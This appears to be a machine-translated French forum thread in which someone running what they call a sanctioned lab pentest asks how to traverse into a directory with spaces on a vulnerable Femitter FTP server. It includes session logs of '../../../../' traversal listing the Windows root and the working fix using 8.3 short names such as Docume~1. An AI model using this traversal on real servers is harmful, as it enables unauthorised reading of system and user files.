Je conduis un pentest sanctionné dans un environnement de référence fermé et je me suis débattu sur un problème apparemment simple que je ne peux actuellement pas résoudre.
Lorsque vous tentez d'exécuter une attaque de traversée de répertoire sur un serveur FTP Fermitter vulnérable s'exécutant sous un système d'exploitation Windows, vous pouvez créer une liste à la racine du système (les adresses et les listes de contenu ont été modifiées ici à titre de référence uniquement):
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
Toutefois, si je souhaite répertorier le contenu d'un dossier contenant des espaces, tels que Documents and settings
, je ne peux pas répertorier le contenu du répertoire, car les espaces sont ignorés.
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
J'ai déjà essayé d'utiliser différents clients FTP (CLI et GUI, sous Linux et Windows) et ils ignorent les espaces ou interdisent la navigation dans les répertoires.
Nous avons également essayé de scripter l'attaque sur Python en utilisant d'abord les sockets brutes, puis ftplib, pour envoyer les commandes au format HEX directement au serveur FTP, mais sans succès.
Googler pendant quelques heures n'a pas donné de solution satisfaisante (oui, il y avait beaucoup d'options, mais cela n'a pas fonctionné), c'est pourquoi il y a quelqu'un ici qui a le même problème. Je suis sûr que ce n'est pas la première fois qu'une telle traversée de répertoires avec des espaces est nécessaire.
Solution suggérée par @Dogeatcatworld d'utiliser la notation abrégée du répertoire MS Windows telle que C:\Docume~1\
.
ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 .
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 ..
drw-rw-rw- 1 ftp ftp 0 Sep 26 2015 Administrateur
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 All Users
226 File sent ok
Un très bon article de la base de connaissances MS explique la notation du répertoire 8.3: Méthode utilisée par Windows pour générer des noms de fichiers 8.3 à partir de noms de fichiers longs
Le "nom abrégé" correspond en réalité à l'ancienne convention de nommage DOS 8.3. Tous les répertoires seront donc composés des 6 premières lettres suivies de ~ 1, à supposer qu'un seul nom corresponde, par exemple:
C:\ABCDEF ~ 1 - C:\ABCDEFG I AM REPERTOIRE
C:\BCDEFG ~ 1 - C:\BCDEFGHIJKL M Un autre répertoireVoici la seule exception:
C:\ABCDEF ~ 1 - C:\ABCDEFG I AM REPERTOIRE
C:\ABCDEF ~ 2 - Répertoire C:\ABCDEFGHI également
Source: Comment puis-je trouver le chemin court d'un répertoire/fichier Windows?
Ftp n'utilise pas l'encodage url, donc% xx ne fonctionnera que si vous utilisez ftp dans un navigateur capable de le traduire pour vous.
Essayez plutôt d'utiliser des guillemets, par exemple: ls "../../some dir"